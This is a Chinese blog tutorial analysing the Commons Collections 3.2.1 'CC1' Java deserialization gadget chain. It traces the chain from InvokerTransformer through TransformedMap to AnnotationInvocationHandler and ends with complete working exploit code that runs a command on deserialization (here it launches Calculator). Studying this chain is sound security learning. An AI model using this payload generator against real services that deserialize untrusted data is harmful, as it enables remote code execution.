Java反序列化(2)——CC链1
调试环境
JDK
CC1这条链除了Commons Collections的问题,还有一部分是Java Sun库的问题,所以对JDK的版本也有要求。
所以JDK版本选择的是8u65,下载链接:https://blog.lupf.cn/articles/2022/02/19/1645283454543.html
这里千万千万不要在官网下载!它这虽然写的是8u65,但下载下来其实是8u111,其中的漏洞点已经被修复了。

Sun库源码
下载地址:https://hg.openjdk.org/jdk8u/jdk8u/jdk/rev/af660750b2f4
CommonsCollections3.2.1 Maven依赖
Apache Commons Collections是Apache Software Foundation提供的一个Java库,该库提供了Java开发者常用的数据结构和工具类,以补充Java标准库中的集合框架。
<dependencies>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
CC1链分析
危险方法——InvokerTransformer.transform
关键点:commons collection的Transformer接口,危险方法就在实现Transformer接口的InvokerTransformer类中。

InvokerTransformer的transform方法是危险方法

很典型的反射调用写法
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
看看InvokerTransformer的构造函数,methodName和paramTypes在创建实例时传入

InvokerTransformer使用方法,熟悉这个格式。
- 第一个参数是方法名称,类型是字符串
- 第二个参数是方法接收参数的类型,是一个class数组
- 第三个是传入方法的参数,是一个Object数组
String cmd = "open -a Calculator"; // 使用Runtime.exec执行的命令
Runtime r = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
); // 传入InvokerTransformer要执行的方法
invokerTransformer.transform(r); // 传入执行这个方法的对象
在有了危险方法后,就去找哪里调用了它(如果有readObject调用了它,同时传入的对象还是可控的那就直接成了)。
调用方法——TransformedMap.checkSetValue
经过漫长的寻找,TransformedMap中的checkSetValue的方法调用了它

看看TransformedMap类是怎么个事儿

我理解是TransformedMap相当于是一个Map对象加上了两个额外的Transformer属性:keyTransformer & valueTransformer
现在来实例化这个类,因为它的构造函数是protected,实例它的话调用的是静态方法decorate

按照说明来实例化这个类,因为TransformedMap间接实现了Map接口,所以最后返回的类型是Map
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value"); // 在map中随便插入一组键值对
Map<Object, Object> transformedMap = TransformedMap.decorate(
map, // keyTransformer并不是个必要参数
null, // 同时checkSetValue用的是valueTransformer
invokerTransformer // 所以这里可以设置为null
);
实例化这个类后,看哪里调用了checkSetValue方法。经过漫长的寻找,在TransformedMap的父类AbstractInputCheckedMapDecorator的MapEntry类中的setValue方法可以看到checkSetValue的调用。
继续之前,需要理解下Java的Map.Entry。Java的Map就像是Pyhton的Dict,是一个键值对。Java中使用键值对遍历Map就会用到Entry对象,Entry就相当于一组键值对。
而MapEntry类就间接继承了Map.Entry,当TransformedMap在遍历时的Entry就是这个MapEntry。而checkSetValue就在它实现的setValue方法中被调用。
所以要利用TransformedMap我们需要写一个遍历Map的功能:
for(Map.Entry entry: transformedMap.entrySet()){
entry.setValue(r);
}
调试一下这个代码,看看MapEntry是怎么被调用的。首先transformedMap.entrySet()会返回一个EntrySet对象,第二个parent参数就是transformedMap

EntrySet实现了一个一个iterator方法,这个方法返回了一个迭代器对象EntrySetIterator

EntrySetIterator在每一次循环的时候都用调用next方法得到当前循环的值,这里它就返回了这个MapEntry

MapEntry的parent就是我们一开始传入的transformedMap,所以它在调用setValue(r)的时候就相当于调用了transformedMap.checkSetValue(r)

入口类——AnnotationInvocationHandler
接下来我们找一下哪里调用了这个setValue方法。经过漫长的寻找,在AnnotationInvocationHandler中的readObject完美符合我们的条件。

- readObject+参数可控,完美符合一个入口类的要求。
- Map遍历功能,同时Entry还调用了setValue,完美的利用点。
疑点1——无法修改的setValue参数
不过这里有一个问题,就是setValue的参数并不是可控的。

根据之前的分析,setValue要传入一个Runtime的实例,它最后会传入invokerTransformer.transform(r)来执行exec方法。现在这里的值已经写死了,有什么办法可以解决呢?
经过漫长的分析,实现Transformer接口的还有些可以利用的类。

无论传入什么ConstantTransformer的transform都会返回一个固定的值。

这个值会在实例化这个类的时候传入。

实验一下
ConstantTransformer constantTransformer = new ConstantTransformer(r); // 实例化的时候传入Runtime的实例
invokerTransformer.transform(constantTransformer.transform("123")); // 无论传入什么constantTransformer.transform都会返回Runtime的实例
感觉哪里怪怪的,因为这个调用链最后只是让TransformedMap的valueTransformer调用了一次transform方法,实际上是执行的代码是一个O.transform(input)的形式,但上面的写法是让constantTransformer.transform的结果作为参数传入invokerTransformer.transform中,是一种O1.transform(O2.transform(input)),这显然不符合这个条件。
这就要ChainedTransformer登场了。它的transform是对iTransformers的一个链式调用

iTransformers是一个Transformer数组,在实例化时传入。

按照这个形式,我们实例化一个ChainedTransformer
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(r),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
});
chainedTransformer.transform("skysky");
这个chainedTransformer在调用transform的时候无论传入什么都不会影响最后执行的结果,而且也符合这条链最后的调用形式O.transform(input)。

我们把chainedTransformer放到TransformedMap中验证一下
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(r),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(
map,
null,
chainedTransformer
);
for(Map.Entry entry: transformedMap.entrySet()){
entry.setValue(r);
}
没有任何问题,回到刚刚的AnnotationInvocationHandler。这是可序列化的类,同时它在反序列化的时候会通过setValue执行到chainedTransformer.transform(input),虽然input无法控制,但是我们已经通过ConstantTransformer让最后的结果不受input影响了。
关于AnnotationInvocationHandler的两个参数,memberValues直接就是transformedMap,type则是一个Annotation的子类。

把完整的链写出来,因为AnnotationInvocationHandler并不是一个public类,实例它的话只能通过反射。
String cmd = "open -a Calculator";
Runtime r = Runtime.getRuntime();
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(r),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
});
HashMap<Object, Object> map = new HashMap<>();
map.put("key", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(
map,
null,
chainedTransformer
);
// AnnotationInvocationHandler实例化
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constantTransformer = c.getDeclaredConstructor(Class.class, Map.class);
constantTransformer.setAccessible(true);
Object o = constantTransformer.newInstance(Override.class, transformedMap);
// 序列化/反序列化
serialize(o);
unserialize("cc1.ser");
o就是最后得到的反序列化对象。但是运行这段代码会出现报错

疑点2——无法序列化的Runtime
问题出在ChainedTransformer对象实例化时的new ConstantTransformer(r)。在序列化一个对象的时候,它的所有属性和成员变量也会被尝试序列化。而这里传入的r是一个Runtime,而Runtime没有使用Serializable也就不能被序列化,
虽然Runtime不能被序列化,但是Runtime.class是可以被序列化的。所以我们用Runtime.class反射获取最后传入invokerTransformer.transform()中的Runtime对象。
Class rc = Runtime.class;
Method getRuntionMethod = rc.getDeclaredMethod("getRuntime", null); // 因为是无参方法,所以参数类型为null
Runtime r = (Runtime) getRuntionMethod.invoke(null, null); // 以为是无参静态方法,所以调用对象和参数都为null
将这个流程用invokerTransformer来实现。
第一步是Runtime.class调用getDeclaredMethod,getDeclaredMethod的声明为public Method getDeclaredMethod(String name, Class<?>... parameterTypes),第一个参数类型是String,学习下第二个Class<?>... parameterTypes
- Class<?>: 这部分表示一个通用的 Class 类型。? 是一个通配符,表示这可以是任何类型的 Class 对象,如 Class<String>, Class<Integer>, 等等。
- ...: 这是Java的可变参数(varargs)的表示方法。它允许你在调用该方法时传入任意数量的参数。
- 所以 parameterTypes 实际上是一个 Class[] 类型的数组。
Class rc = Runtime.class;
Method getRuntionMethod = (Method) new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
).transform(rc);
第二步是getRuntionMethod调用invoke,invoke的声明为public Object invoke(Object obj, Object... args)
Runtime r = (Runtime) new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
).transform(getRuntionMethod);
这个流程又是一个InvokerTransformer的链式调用,所以将其拼装到ChainedTransformer中。测试一下
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(rc),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
});
chainedTransformer.transform("skky");
疑点3——readObject的判断
现在Runtime的问题解决了,但是这条链依然走不通。原因是readObject中,要走到setValue还要通过一个判断。而此处Class<?> memberType = memberTypes.get(name);返回了一个null,导致无法进入后面的代码。

调试一下看看是怎么个事儿。首先代码会根据传入的type,这里就是Override.class获取一个annotationType对象。

经过一个很长的调用链,最后annotationType的内容是,这似乎是Override.class的一个基本信息,而Member types似乎是其中成员变量的信息。因为Override这个类没有任何成员变量,所以Member types为空。


然后annotationType.memberTypes()会返回annotationType中的Member types,根据变量类型我们知道这个是一个Map

紧接着在memberTypes.get(name);,这个name是我们字典的key值,因为memberTypes为空,自然memberType就为null了

知道原因后,那我们就找一个继承了Annotation且有成员变量的类——Target

它有一个成员变量value,我们用它来修改我们的链
// ... 代码不变
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value"); // 将"key"改为"value"
// ... 代码不变
Object o = constantTransformer.newInstance(Target.class, transformedMap); // Override改为Target
// ... 代码不变
成功执行

总结
装模作样画个流程图

最后的完整代码
package CC1;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Constructor;
public class CC1 {
public static void main(String[] args) throws Exception{
String cmd = "open -a Calculator";
Class rc = Runtime.class;
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(rc),
new InvokerTransformer(
"getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}
),
new InvokerTransformer(
"invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}
),
new InvokerTransformer(
"exec",
new Class[]{String.class},
new Object[]{cmd}
)
});
HashMap<Object, Object> map = new HashMap<>();
map.put("value", "value");
Map<Object, Object> transformedMap = TransformedMap.decorate(
map,
null,
chainedTransformer
);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constantTransformer = c.getDeclaredConstructor(Class.class, Map.class);
constantTransformer.setAccessible(true);
Object o = constantTransformer.newInstance(Target.class, transformedMap);
serialize(o);
unserialize("cc1.ser");
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.ser"));
oos.writeObject(obj);
oos.close();
}
}
至此CC1链完全结束,好累......